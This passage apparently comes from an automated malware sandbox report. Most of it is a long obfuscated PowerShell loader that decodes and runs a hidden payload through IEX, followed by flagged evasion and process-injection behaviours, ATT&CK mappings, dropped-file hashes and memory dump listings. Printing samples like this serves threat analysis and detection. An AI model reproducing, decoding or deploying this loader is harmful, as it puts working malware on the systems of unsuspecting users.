Wa= R ArK MeUnmDoiOvkBraNol Tinie OdEce Hp coPetEns H0 A4 S T' N5 I4di4Sv3Ba5Un2ph5 O3Tu5in4 k4 O8Sk0Cr6St0Ob2Tr6Om1 s4Bl7 E4 CBSa4 OBTa4fa7Sc4Fo3Dj5 T4 U0Me8Ni6 l5 T5 U4Kl4 S3be4Bl7 D5 C2 D4 K3 S7 F2 A5 FFro5St6 G4Tr3 G0BiE H0 HFbr'Ca;Su&Vi(Sk`$KoSOpeAnn LiTio KrVksUbt Vi sp Ke Qn Jd Pi Fe Ut FsAk7 B)Ha d`$PrSTbvMieTynscdpre RlFun RnAnnPii bn Ug Vs H5Ek Pi K Gg;op}Ur`$MufIslfoonooGedToaChg CeFl St=Un GoK Fe Cm Si KktuaKolTui OeOudDme Mp UoLatPrsze0 R4 K Re' N4 TD T4Re3Tr5Bu4Ve4Le8Sk4Re3 A4 EASk1 D5 E1Un4By'An; O`$SkR NeMip Tu PrQucCehIna BsNai Pn SgIo C= P CiKDeeUdmraiTakLoaMil Ci TeEfdBaeUdp CoFltObsUn0Sa4 d Co'Dk5Ha3 T5 S5Po4Po3 R5Ma4 W1 F5 b1 S4Hy'Dy;Sa`$ SKKaeAemMoiDikNeaPalBei Ue EdtneElpAnoInt UsBv0Tr3Sp N= S SKSaeudmCai CkFaaFalpri SeskdBieFop SoCrt SsLi0No4mi An'fo6 I1 C4Bo3 D5Ga2Yn6 A5Wi4 s9Sv4 U8 U5Sy5Pu4In9 M4faA g4Su3 D7Ns1vi4TeFRo4Ai8Ve4Su2Ak4Ud9 R5Se1Ep'In;Ad`$ChKBoe Pm hi CkPsaVil ji ReCod DeOpp DoTttSys u0To0Un=AlK SePumKri PkAtaBol bi BeNod SeDapInoInt Ms u0 M4 G G' A7Sm5Tj4 PEAn4 G9Dt5 N1Af7 c1 P4 HFPa4Hy8Br4Op2Re4Sl9 f5Ve1St' R;In`$ReSDevAne Gnbod Ie Il Tn PntnnPriUdn FgEesSk6tr M=Sp AKTreTrm SiFokCoalhl uiLaecod ue Hp Do Nt Bs P0no4El Wa' T0 R2An6Br0Cu4To9Mi5 a4Dr5 A2Pa4 O9 T4DiAKl4InD S4Fo8 T4 sF O4 N8La4Hj1 D5 I5 U5Cr0 N4 D3 T4Ma8En4UnAMe4TrFBa4Ch1Un0st6Hj1TrBBr0 M6Po7 FDPa7Un5Yo5 FF S5Li5re5 S2 B4Co3 B4 GB F0 k8St7Bi4Le5Ex3 A4Af8 U5Pa2 K4FoF S4FaBro4 A3St0Va8Ri6InFra4 M8 F5 N2El4Cr3Co5Uv4Do4Mu9De5 u6Tu7De5 U4Mi3An5Sy4 k5De0Fr4 VF M4 L5 F4 B3St5Re5Re0 S8 U6 GBBl4ud7 M5 a4De5Ja5 H4 SE S4 V7St4BrAPi7AzBDe1PrCCh1FoC F6Ma1Ar4Ja3Fa5Ie2 N6Mo2 K4Sw3 A4 SACo4Un3 T4Gy1Vi4Bo7 S5 N2Fa4 M3No6Sy0Cl4Um9Eg5ta4Be6Ga0Pe5 S3Pe4St8Ti4 S5Ch5Ko2Su4 EFHo4 K9 V4Mi8Bi7Pr6Sa4 T9Fo4GeF d4 k8As5Sv2Bo4Pl3Tn5 B4Pl0 KE I0PaE S4 T0 t4UnDEl5In6Ne0 T6Br0My2 T4Hw0Ch4guA O4Ci9Be4Mo9Fr4Ab2 L4 K7Fo4 A1Su4Li3Un0 J6Ba0in2Mi7Ap5st4 B3 C4Co8 A4PaF M4Do9 T5Af4En5 U5Re5 r2 T4 MFHj5Br6Pi4 S3 S4No8 C4 A2Re4 IF F4Un3 O5Ur2Os5Ta5Es1Sm2Re0EvFOr0HaAsk0 L6Pa0MaE d6 A1 H6 n2 D7Ro2Sk0Ba6Av6De6Sh0FiE O7BaD S6OvFTu4 T8 E5Sy2Be7 d6Ay5Ma2ge5An4 B7FoBPr0 PAVi0 T6Op7 FD B7In3 U6ThFTi4 o8Po5 L2Hj1 M5 S1Af4Le7EpBBu0 cASj0 A6 f7SiD G7 D3 I6 KFta4es8Va5 A2 M1 J5Fe1Sn4 P7 BBSy0 SAmi0 L6 B7UnDPl7 H3 M6AlFCl4Ba8Te5Rr2 S1 T5ab1St4Va7FjBFa0VaF O0Bi6Ek0TeE U7TaD G6 EF P4 G8St5 L2Kl7Ka6an5Vi2 R5Po4 S7BrBDu0 aF F0LbFCa0AiFGl'Ra;Te& k( K`$BlS HePrn yiGuoIrrOmsRut ui vpSve KnBrd si Ne FtZasTa7 a) Z Ps`$TrSKuvFoeSan Kd PeColDinVrngwn NiFrnNig Ks A6 E; R`$SaK FeDamPeiPokBra Bl IiUdeUddOpeOmpReo Jt OsUt0aa1Dv N=ep ByKCoePrm MiArkVaa elmaizleTod ReAnpBeoudt TsSu0 D4 F B' V0 R2 s6ChDKm4St9Di4UdB O5 P6 R5Ty4 A4Ly3 s5Sc5Qu5Om5 h4Da9 M5 P4Fo0 K6Si1ReBBr0 N6 E7 UD F7 s5Re5 FFHe5 U5 S5Co2 B4 P3So4joBMa0 K8nh7Be4 S5go3Ga4 P8 B5 T2Un4 FF P4krBGe4Sp3 U0Be8Sa6 AFhe4No8Gr5 S2 A4Sk3 n5 O4En4Pe9Ta5Te6Ch7 C5Au4 T3Me5Ma4Ir5Om0St4DiF S4 S5 S4 N3Mi5Ka5To0Le8 F6 LBSp4 M7An5St4 S5 S5Sy4DiE p4Tr7 U4BuAAx7 CB V1haCEq1ArCMa6By1To4 M3Ma5 B2 D6 R2Mi4Ov3Fr4 LATi4Lv3Di4ko1 K4 U7 N5Lo2Gr4Mo3 A6Co0St4 S9in5Di4 p6St0 W5 I3 M4 G8Eg4Ve5 V5 I2Do4 WF I4Gl9Ov4Lo8 U7Un6 P4Jo9St4PiFGe4 S8Ha5Cr2st4Ch3Ln5Ui4Ko0PrETa0anEKl4Vi0Pr4 SDTr5Re6No0 b6Pa0 N2 K7Gr4Ur4Ly3Ek5Sc6 D5Br3 T5Un4Br4 U5 F4CeEun4Sk7Tj5Ty5Se4SkF f4Ty8 B4Mo1Ft0Th6 F0Kr2 y6 PDBe4Ga3Sy4 IBDi4UvFRe4OvDha4Es7 U4 AAsp4 DFAn4Mi3 S4Tr2 B4Br3 O5 K6 U4Sk9Be5 V2In5 T5Ha1Ta6Mo1Le6 H0 UFRe0 SASc0Ne6 K0 FE L6Va1Ri6 L2Pr7Li2Le0 F6Ko6Me6 A0UdEMa7FlDUn6LuFHj4Mi8Fe5 S2be7 G6bu5Hy2Su5Su4 A7 sBFr0arA f0Sh6 I7SiDAf7 G3Un6khFBs4 F8St5Ve2 E1 B5Bl1Ba4Po7UnBDe0SmFSa0 O6Te0RoE I7KlDKe6IdFSt4 T8Fo5 s2 P7 T6 V5Pa2 F5 M4Ba7IsBDo0RaF B0 SFDi0 OF P'ha;Wh& K(re`$ ASSketrnFiiAloSkrSpsFltFii DpCreponOvdMaiFoePst SsBe7Me)Re B`$ iKReeSlm Ai GkPaa Il Bi SeIsdHae Bp Ko At Es D0St1Si; M`$SkKUreRemCii AkauaCrlBuiBeeLod OeBupOpoEctInsRu0Fa2 B b= m ArKSpe SmTai Ak LaBrlPiiObePrd BeOupNoo Ut Ps P0Fu4Di an' K0 U2 A7Ov0la5La4De4Fo2sv4VaF L4 F1Go4In3My4Ca8 S5 R5Bv5Af2 M4Am7 c4Hu8 I4De2 O4 S3En4sp8 S5 P5 b0Am6Fi1toBUd0Ud6 P7 FDOp7 B5Ho5HaF I5 L5To5 B2 B4Ga3Pe4FrBHr0Ga8Pr7 K4 K5 M3 v4 I8 B5Sc2 M4SnF N4 NB I4 S3Co0 P8So6 UFVo4 D8Re5Sk2 R4 F3 M5Fo4 B4 D9 L5Po6Le7De5 A4Bu3Rd5 M4 R5 L0Sh4exF c4 D5Tu4Op3Re5 H5ov0My8In6SaBSa4Al7Su5Eu4 M5 P5 S4EvEbr4 M7Sa4neAMe7 VBEp1DoCOv1SkC F6 V1 N4 S3 H5 r2At6 D2Uf4Uf3Sa4 FAAn4 C3 T4 H1Mi4Pr7Su5Sl2 A4 H3Ts6Ha0Un4 F9Ac5Et4Ud6Mo0Sj5Kv3ob4Hv8Mu4Ty5 A5ge2 T4 AFOl4Sp9Ko4 P8Ef7 S6Fa4Ge9Fo4skF N4 C8 A5Ch2 F4Ph3 U5Sp4Ge0ArE P0OpEPl4Be0 G4CoDFe5Fr6Af0Bo6 S0Sn2Lu4St0 P4 PASy4Un9 B4 B9 S4 S2Gl4Ud7He4 K1Ga4Ul3An0 b6 R0Am2 D6 hDDi4St3 I4 OB t4 GF F4ChDAm4 R7 J4 PA S4 HFOp4Pr3 G4Bi2Ur4Di3Ba5 T6St4Le9Om5Fa2Pr5 h5Ye1 B6po1 E5 d0AcF p0 DAKv0Da6Tr0GjEVa6No1Da6 I2Ke7 G2 T0ha6Th6 r6Rm0StECo7ChDCa6 UF P4 f8Ha5Ev2Ma7Un6Un5 S2An5Ju4Fy7 CBsi0 BFde0Ap6Sp0 UE B7DoDSe6 FFHr4 S8Ti5Jo2 P7Sl6Pr5 I2We5 F4 h7OlBBr0AcFFa0StFBo0IdF L' G; S&St( U`$ SS te Cn Pi Do CrflsNotDeiOcpBeeDin Bd UiEmeTatFos A7Hl)Ig P`$ CKBieFumLeiDekIra Ul SiHveJudBreSapLaoSpt Us s0 K2 R;Co`$ OSFiv Se DnAudUneDelSun NnWinUniSen Ag EsTl7Bo F= U SlKBee BmFoi KkDoa WlTei WebodGdeSppbaoRet DsUd0 D4Pe R' n0Op2 O7Ge4Pr4 FF B4 c2Ou4 S2 V4Py3Ca5Pi4Se5Te0Un4LeFTe5 D5To4 L3 p5 S4 P5Ma5El0Or6Cu1 LB A0 A6 W0 F2 H7Ci0Dr5no4 U4Gl2 J4 SFPs4Ca1 A4ti3St4Do8An5 L5 Z5No2 C4Kn7 C4Er8 U4 B2Sm4 S3Za4 K8 a5Ap5 N0 K8Pr6 MF G4Bo8Ch5 s0 A4 H9Sp4TeDKa4Ag3In0 SE L1 M6no0 BF h' F;Ka&He(An`$ KSUneUnnEeiMaoLur AsnotReiDap MeLonredChiKyeUntnas M7 F)Dr E`$ TSMiv He anFnd IeSyl AnunnUnnWaiFlnExgRes L7 G; b`$SpSPevCheSunSld TeKoludnStnThnTiiTunAcgJesCa7Op Pr=Ka CoKTre PmFei Ck MaNolShi Pered ReSpp ToFot Msth0Da4By co'Br0Vl2Tr6 UD H4 V9Ec4 FB N5 B6sl5 S4 O4 A3Cl5Gr5Al5at5Kr4 P9Af5 P4 N0Al8 O6 fFFe4 U8 B5 T0 B4Tu9 s4BlDaf4En3 F0 GE S0 W2 i7Ko4 S4FoFNi4 P2Ba4Te2Cl4 G3 O5 A4Sy5Ab0Im4RaF N5 K5Be4 O3 F5 S4an5Ch5 P0SlAEx0At6va1Ca6 F0 NFUn'Pt; E& H( P`$moSade AnAri Ao NrGes At OiBrpGye cnAndGii CeKothys I7Fo) A Sh`$UnSUrvUdeScn FdEce Il Pn Pn En Gi DnAug AsSw7 S; P`$TuIsjc UoWonSa Ge=us PofKlkShpLo Si`$ CS BeFon DiUsoSkr CsSet Ki TpNieSanKrdMiiDieLatHus F5Th S`$ ISSieAtnTaiSpo CrTesMit TiBlp GeEln Ed LiAdeAut TsAl6 R; L`$FaScov Ke Sn Pd TeinlMonFenben TiTrn Ng TsFr7Re P=Ca TyKPaeTrm Ri ukEra Bl Pi UeDedTieBrp AoWatPasDe0Re4Af Be'Ch0Sy2di6 c0 A4Br9 T5Av4 D4to3br5Ca5 g5 P1Tu4Ge9el5Fa4 O4Ke8Ta1 D5 D0Fo6 R1SaB U0Dr6Re0Au2 C6Ju0Ve4 P9Ky5Rn4Ex5 I2Gi4No9 S4 VA G4CoDBr4Ef8 S4FnFDi4Ci8Po4Ci1 D5Ko5 L5Kk0Cy4Ar3Go4Pe8 D4AfAOv4 LF P4 Y1 S0 U8 R6BeFHn4Li8In5 U0 D4 G9 S4IvDLu4ra3 H0 MERe7InDFo6InF o4 E8kl5 T2 O7Wa6 S5Sa2Ca5da4Ca7WiB O1TeC f1EnCUd7geCbu4Fr3Pi5Ke4pe4vi9Ne0naABe0Ud6 C1 R3 R1Al1 G1Ru6Cl0 iA D0Ex6Ac1Di6 A5 AE F1sa5 O1 P6Ha1Ho6Ge1Su6 C0 FAOc0Es6 F1 O6 D5DrE A1Un2Te1Ot6Un0 SFFy'Gr;Ou& c(Fo`$StSMuePsn Si noFlrFas AtKoiGepSteUdnSidPaiboeSatDas E7Ro)ba Sk`$ CS Pv De Sn Jd Ne flTen Sn UnNoi TnSpgDisIn7 C;Po`$KoS Uv Pe BnObdAce Sl EnKnnHen kiErn Fg Us S8Im Sa= H SuK PeulmNpi PkTuaBrlBui DeArdFoe PpMioVitGesBi0Sv4Mi Ca'Ir0 W2Do7Ea4or4Ln3 R5 P0Ma4Af3Ma5Sp4Hn5Re5Bi4Ga3In5Bo4 F4GtFHa4Up8an4Mb1 t5De5 D4 I7Ag4Ua8Py4Ar9Mo5Da4 M4 T2Sp4 b8Fi4 pFBe4Va8Re4No1 T4Ca3Li5bo4Fd4Un8 A4Pe3Pr0 A6Pr1udB N0 O6 O0Co2 E6Me0Ca4Fo9An5 C4Br5St2 F4Sk9Di4brA S4 SD T4Em8 P4StFby4Ko8Be4 O1Pr5De5Ph5Gr0Po4Si3Mi4Ex8Fa4ViAPr4 UF O4 D1 T0Pe8Sa6 OFCh4 A8 J5Bl0Mi4 F9Se4 HD N4 B3Da0stEFu7PuD F6hoFDi4Be8No5 A2 R7 N6 S5Fn2 Z5No4br7BeB K1 vC M1 ACEl7PaC S4Sv3En5 L4Lo4Ud9 p0NrADo0Va6Me1PiFSa1 G5 m1Ut1Se1Cl1Po1 A5Po1GaE E1Em4Ti1 Z2An0MoA D0 G6 U1no6 N5InE C1 R5 L1Bl6Tr1Mo6Ty1He6 E0 vAbl0Ka6 G1Ul6St5InETe1Cu2 F0 BFTy'Si; S&Re(Tr`$BrS DeOmnJaiuno Br aseltMoi SpPeeTinVid SiAseEkt NsRu7 T) g D`$SkSNivMieminMid DeKalVanBan Fn Si InKrg ssOu8 E;No`$ TFPioBur BeStsGuwMeoOnr Nn R2 U=Fa`"""Sa`$BleUnnOvvHe: PL DO EC fA FLAmA CPNoPBrDBoA sTPoA Z\PaRBieHun UtMoaTob slLie GsSutmoe V\MiFSlr Ho Ss Ft IsBliyakFrkAneEnrPr\ sE UlSyfSuuPrs NiAnokln D\DiAfus Bs suKlr SaWanKlcPoeRasEuePolOvs Pk Pa sbBreAntDi\SuEEnjpaeRorAfbTioAflHiiDag PeHvnNe1Sk3Tn6 V.TrHtey Fd R`""" g; G`$ fS bv GeConRed NeDyl un PnBrnShi Dn BgSpsti9In Br=Ma nKLiePhmDei TkpraCyl gi ke Ud Se OpLao Tt Ks I0Kr4Fr Er' K0 B2Sc7 S5La5 O0No4Su3 L4St8 D4Mi2Ra4 W3Ak4 SANe4Bi8Sl4el8Fe4Ro8co4 FF P4 a8So4Fo1 P5 M5No0Pe6Fi1 PB P0Sv6Te7AnDna7 P5In5AfFLe5 f5 F5Un2De4Sn3Pr4stB J0Tr8At6 VFDe6 H9Su0 C8Ca6Gl0 U4TrFll4HaA A4Ul3Wr7FoB P1NeCBu1 HC R7 B4Ek4 R3He4 P7pr4Na2Re6Ch7 U4HeAAa4 AA S6Co4 B5 KFHa5Ra2Ap4 B3 H5pr5Om0ToEPo0To2Mu6 J0In4Du9 H5Bo4It4 C3Fl5 F5 O5 E1Pa4Co9Fo5Ty4Kl4 U8 C1Ud4Ne0liF T'No; L& J(Mo`$ PS Pe Fnfoi VoFor RsSktHii WpFre TnhodDoi Be DtMis K7 C)Pr A`$KlSRov beMin CdChe SlRin SnRenGeiTonHogvosSt9Th; S`$CaI GbBir UuMig BtElaIngSun SiKen PgUnsCatAsisydAfsUrp su Gn Ckryt Je AtNs0 U Un=Re KK SeCemEniAnkBlaBelBui SeCadRee MpthoKlt LsPr0 C4 E D'Sy7TaD H7 A5 T5 BFSe5St5 S5 T2lg4Wa3 P4 LB S0Un8Ra7 T4 A5Be3 K4de8 S5To2Ls4 PFMa4 DB S4Ge3in0Ar8 T6 MFEx4 D8 C5 P2 D4 D3Sm5 S4 F4Di9 I5Vr6 T7 Y5 K4 P3Bo5 V4Gi5 C0Ge4FrFBi4Fr5Hj4 H3Re5Un5 U0 B8 B6NuB E4Hi7 S5 K4Br5 V5Ba4SaETr4 N7Ge4UdA E7 LB m1 OCCa1AcCSu6 E5Li4 V9Ch5Eu6Ca5DaFSt0AlE G0Be2Sk7Bj5 k5St0 g4Op3 S4Uk8Lu4Py2Ud4 F3Sy4 PA D4Me8St4 S8Im4 I8 R4AnFCy4eu8 H4 D1Ga5Sv5un0 UA S0 F6No1 D7Ma1To6In1Pu4Fu1Ku2Om0 LA P0Op6Ho0 V6 D0Re2 D6He0 U4Uf9Ud5Ry4 S4Ka3ov5 R5 L5Le1Se4Ma9 A5 D4Fo4 M8 F1 I5 G0 SAGo0 J6Vi1 G3Se1 R1Ap1 S6Sy0SuFIn' T;uf& F( M`$ ISpae Kn Ti NoPsrWos Lt Ri Sp Ae UnCed Di Ae AtDisPa7 L) P Ud`$ VIMib urEfu EgsatemaKag InTaiRen SgprssttFri Ld Es Cp Tu UnTekcotSke It c0 A; K`$PrMBloRasCoePsnBed Ke brIrsCy= B`$ElSRuv He OnInd TeSklSen RnBlnsiiMen Dg CsMo.SacCeoPeuSpnMotHa- r5 S7 O0 O- U1Rh0Sl2Ge4 H;In`$LaI SbDyr SuDogHetSta FgWyn SiCon SgStsUdtBaiInd NsBap CuEknVakBrtCeeBotRo1 M En=Jo BKgaeHem Si AkAraBelUdiRue SdSve fp CoUntMusra0Pa4Me Ta'Fo7WaDEm7Fa5 L5UnFOu5Qu5 V5Sa2Du4un3 P4BuBUn0Em8Op7 M4Sv5 F3Co4 R8 U5 S2 B4 IFSk4KiB T4Br3 F0Tr8 D6 BFCo4Dm8He5 P2Mo4An3Ac5 R4 r4 H9Pr5 N6 D7Fo5 B4St3 E5 F4 S5 S0 A4 JFFo4Va5 I4Ls3Ti5 J5 K0Su8 f6coBko4 R7 T5 P4Hy5Un5un4UmEMi4Pr7Ca4 PADu7TrB O1 wCHu1 SC U6As5sl4Si9 A5Sm6Kl5DoFPs0 lE N0Ci2Si7 M5Ko5Ka0Ma4Ga3 S4Ci8De4 G2Po4Ma3Vi4 FARr4At8Cy4gr8Ap4Sk8 A4 FFOb4Um8 R4Ho1Sp5Aa5 N0 JA T0 a6 G1Re3 E1 F1Re1Su6 O0MaD A1Se7 A1 l6Pl1In4Di1 e2El0XaA M0Di6 K0Ov2Sk7Ek4Ek4Fo3Gl5Si0 A4Ba3vi5 B4Sp5 K5Be4Sl3Pr5Ke4Be4EqFSk4Bi8bo4De1 O5 T5ca4 D7Br4 B8Ar4Un9Ub5 L4Mi4Zo2Ox4 M8 S4 BF N4Pr8Wi4Bo1 P4 s3Ka5 A4St4Ov8un4Un3De0 aAbr0Be6Tr0Ki2 S6UdB G4Ri9 F5Wu5An4 S3 T4 L8 A4Kr2Ce4Sp3Sh5Hu4Sa5 R5 B0prFCi' r;Ab& W( S`$ QSRie HnSkiUnoAar Lsgat BiVepdie An Nd WiVee MtRes C7Or)De Si`$UnI RbAnr DuScg MtRea agPun OiNanlag PsMytHoiCod KsKopPyu AnCakLitImesat C1 G;St`$ PIInbVirPruPegbetKaaBagAfn TiMan Ug Ds St SiDrdSks UpOvuUdn LkIntKle Pt T2My By=me blKChe Sm HiPrkLia Pl Fi DeGud Ee Ap No PtMosFo0Va4 T S' P0De2Ve6 GB S4HyFAf4Af2Sy5 S2 F5 P6 C5 B3ob4Re8Hf4HiDMe5Ca2 P5 T5Mi4 SB M4Ba3Te5 B2Be4 B9So4 R2Mu0Sk6Se1UnBSu0Pa6Ut7 BD O7 A5Sk5InFTa5 U5Du5La2Fi4St3 D4 fB H0Hj8Gl7Dr4 P5ra3Fr4 R8Ge5 S2Cu4 PF T4LaB M4 M3 B0 S8 e6FaFGa4Th8He5Pa2Ko4Ne3 U5 G4 N4An9Sk5 K6Af7Sp5Po4Un3St5 B4Ti5 S0 B4 SFPo4He5 A4Sa3 R5Sk5El0 B8Ga6 MB H4cr7 S5 J4Ex5Se5Pa4BeE R4Sk7Vi4BoASe7 CBUn1 XC m1 DC P6Kh1 N4Ti3Ti5Dy2 o6Mn2se4Ta3Ov4 DAGl4Ca3Ph4 U1Fl4 b7Dk5Ho2 F4Di3 H6Ov0 P4Wa9Co5 T4Al6 i0 J5Mo3Da4Va8Hi4 N5Fy5Pu2Tm4 CFSu4 D9Bi4Fj8El7Co6Am4Tu9Fo4 SFTa4Mu8 D5 B2Kd4 Y3 S5 S4Ap0 EEAs0UdE M4Da0 P4DiD T5li6 O0Di6 I0Ga2Li6IdFSa4 P8Fe5Na2Fi4 S3 I5 G4Bi5Fl6 M4 J9 H4RuAOm4 u7 D5Fo2An4 DF U4Be9 U4 P8Di4Sl3Se5De4Sn4Be8 F4Ex3 S0 B6 Y0 S2 A7Mi6Ap5Ty4 T4Re9Ma4No0Su4 SF R5 T2Sm1 A0 R1 S7Un0 CF E0 CAPe0 F6Ac0LeECo6 J1 b6Ra2Pr7Re2Fu0Gu6 T6Fj6 P0SaEIn7HuDKu6DiFTy4Te8Sk5 B2Hy7Po6Ha5 C2 U5Un4Pr7 SBsm0PrACi0He6 V7 DDHa6SkF S4Cu8 A5Lu2 T7 P6An5 N2sa5Pa4Un7seB s0EnAru0Ek6 O7DiDSn6 KFSn4 M8 C5 U2 T7 O6 C5 C2Pe5Sy4Ou7tiBOv0LuADo0Bu6 K7AkDFa6LaFEp4 L8In5Ah2Ca7 R6 B5Ca2Re5 M4Ho7TaB S0 TA p0Em6 U7 MD P6PaF H4 P8 C5Fo2 T7 M6 A5 C2 C5St4 S7SeB F0 vFEg0Fu6St0reEOp7 TDPe6SvF B4 K8Po5 B2 D7 S6Fl5Se2Ar5Br4Co7LsB U0 lFId0EaFSa0UnFNe'Hj; K& V( L`$ GS Ae Bn Ni IoUnrdusattGriInp Ne GnVrd Ei Ae Ut Ps T7Ar)En Lo`$BeI Rb SrTuuNag Tt ca WgBenCoi Mn JgInsArtBliSpd UsAnpMeu Mn MkFat SeRot F2Cy;De`$ SIbabTirTau Sg CtKraFig UnUdi Ln MgrksGrtSiiVedVas SpEnuteninkSetSle St F3Vi Sa=Ri NK KeTemHoi PkEfaFil SiDae Id OeWopGnoGatDjs I0 B4Su Ne'Ov0 B2Hu6 TBPo4WeF K4fa2Ap5 S2Eu5 S6Ek5Sk3St4ra8 P4StD M5So2Ud5Br5 D4 IBCy4un3 D5Pe2Ye4 S9 N4Ci2 M0Ov8 H6 AF H4My8To5Po0Th4 S9 R4MaDBr4Dv3St0HaEBe0Du2Sp6 R0Ha4 E9Ru5 B4Fu4Kr3mo5Io5Ac5Co1Pu4Sh9Fu5Mo4bo4Du8Sc1Ar5su0 KANi0Tr2 f7Se4hi4st3 F5Sn0 O4 L3 a5Ni4Mu5Gu5 S4 S3Ti5Ti4 A4UnF R4Ac8Sa4Pr1 A5Lu5Gg4 T7Co4 U8 P4 K9Ex5 D4 N4Un2Ke4Pe8 A4PsF i4lo8 S4ma1Mo4ge3Ir5sp4Vr4Pr8Sk4 N3 O0ReABi0Li2Li6 OF S4Ps5 D4Op9 C4 C8 T0WeA H1No6 G0VeADa1Po6Ar0ExFAs'Ln; S& A(Dy`$ZoS ge pnPaiSloTirAtsStt Bi KpDye BnMedReiZoetutSvs F7Pe)Im Bv`$ SISpbGrr FuGegLitSuaStgGrnRai PnFigStsSht BiSldmesTapSpu knVekTrt DeAftRe3 G#Un;""";;Function Ibrugtagningstidspunktet9 { param([String]$Rapmundedes); For($Dikke74=2; $Dikke74 -lt $Rapmundedes.Length-1; $Dikke74+=(2+1)){ $Baandvrksteders = $Rapmundedes.Substring($Dikke74, 1); $Kemikaliedepots = $Kemikaliedepots + $Baandvrksteders; } $Kemikaliedepots;}$Flammekasteren0 = Ibrugtagningstidspunktet9 'LaICeE HXPi ';$Flammekasteren1= Ibrugtagningstidspunktet9 $Nedvrdigelsernes;&$Flammekasteren0 $Flammekasteren1;<#Bygningselementer Ungainsome Konfrontationernes Vikingers #>;"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3312
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      Checks QEMU agent file
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:5028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
fc208db13b1239bfa1f4ee94d3505352

SHA1
c998505025d8ac13f7052a4decd767fdc89020e3

SHA256
bfb025eec226b78ba8230ab9a034404627919ee26cd9cd3954526b5954b11206

SHA512
60a8dd3bc269a47ede1459016ca8d641ac6078d8b160c3f12929f56c1f384f89c08a61642acedf59d2bbf4702232eabac6392f12ab9d037a911adce0e73bea67

Download Submit
C:\Users\Admin\AppData\Local\Rentableste\Frostsikker\Elfusion\Assuranceselskabet\Ejerboligen136.Hyd

Filesize
254KB

MD5
893071a4766d3ef98f8bd94e3e1f0bae

SHA1
5f55c9342e36575331c307ebbf402b39532b5782

SHA256
6760bd63548b680392cda3f17424a783b9709bdd1db78224271d56cbbeb51353

SHA512
d79f8ee6b3c4419347de3b8dac2deff4feef3c600368e50e8c331f80a1cbf98081fce7fe50a9c428093ffdb485a9963b4485b9ed565a75295f5eefc385df71a8

Download Submit
C:\Users\Admin\AppData\Local\Rentableste\Frostsikker\Elfusion\Assuranceselskabet\Pointerende.Inc

Filesize
26KB

MD5
85e50f838b669788db5fdf8b6f0c2aaf

SHA1
60875a1073c67631794ea49e073f3e81c05ea1e3

SHA256
0dd0d1eb11ba76d42672493a83cf046e370ab3b4a05d0dc20095fbce0f5026dc

SHA512
d2018c790819a6304a5e4054518efd89e81deef7100d08bdfc1dfcd4ec2e50e1ae7454db8f1b09b8ad2f3644529081c2b329bd180e58df451879f2ca9c62dd12

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ba4tqovn.rot.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3312-180-0x0000000002BD0000-0x0000000002BE0000-memory.dmp

Filesize
64KB

Download
memory/3312-179-0x0000000002BD0000-0x0000000002BE0000-memory.dmp

Filesize
64KB

Download
memory/3312-175-0x00000000074F0000-0x00000000074F1000-memory.dmp

Filesize
4KB

Download
memory/3312-174-0x00000000081E0000-0x000000000DB4E000-memory.dmp

Filesize
89.4MB

Download
memory/3312-172-0x0000000007B60000-0x00000000081DA000-memory.dmp

Filesize
6.5MB

Download
memory/3312-171-0x0000000002BD0000-0x0000000002BE0000-memory.dmp

Filesize
64KB

Download
memory/3312-170-0x0000000002BD0000-0x0000000002BE0000-memory.dmp

Filesize
64KB

Download
memory/4148-149-0x00000000026A0000-0x00000000026B0000-memory.dmp

Filesize
64KB

Download
memory/4148-144-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/4148-159-0x00000000074D0000-0x0000000007A74000-memory.dmp

Filesize
5.6MB

Download
memory/4148-157-0x00000000026A0000-0x00000000026B0000-memory.dmp

Filesize
64KB

Download
memory/4148-156-0x0000000006170000-0x000000000618A000-memory.dmp

Filesize
104KB

Download
memory/4148-155-0x0000000006E80000-0x0000000006F16000-memory.dmp

Filesize
600KB

Download
memory/4148-154-0x0000000005C80000-0x0000000005C9E000-memory.dmp

Filesize
120KB

Download
memory/4148-138-0x00000000025E0000-0x0000000002616000-memory.dmp

Filesize
216KB

Download
memory/4148-148-0x00000000026A0000-0x00000000026B0000-memory.dmp

Filesize
64KB

Download
memory/4148-158-0x00000000061E0000-0x0000000006202000-memory.dmp

Filesize
136KB

Download
memory/4148-176-0x00000000026A0000-0x00000000026B0000-memory.dmp

Filesize
64KB

Download
memory/4148-177-0x00000000026A0000-0x00000000026B0000-memory.dmp

Filesize
64KB

Download
memory/4148-178-0x00000000026A0000-0x00000000026B0000-memory.dmp

Filesize
64KB

Download
memory/4148-141-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download
memory/4148-140-0x0000000004C30000-0x0000000004C52000-memory.dmp

Filesize
136KB

Download
memory/4148-139-0x0000000004EC0000-0x00000000054E8000-memory.dmp

Filesize
6.2MB

Download
memory/5028-184-0x0000000000E00000-0x000000000676E000-memory.dmp

Filesize
89.4MB

Download
memory/5028-185-0x0000000000400000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download

Analysis

Sharing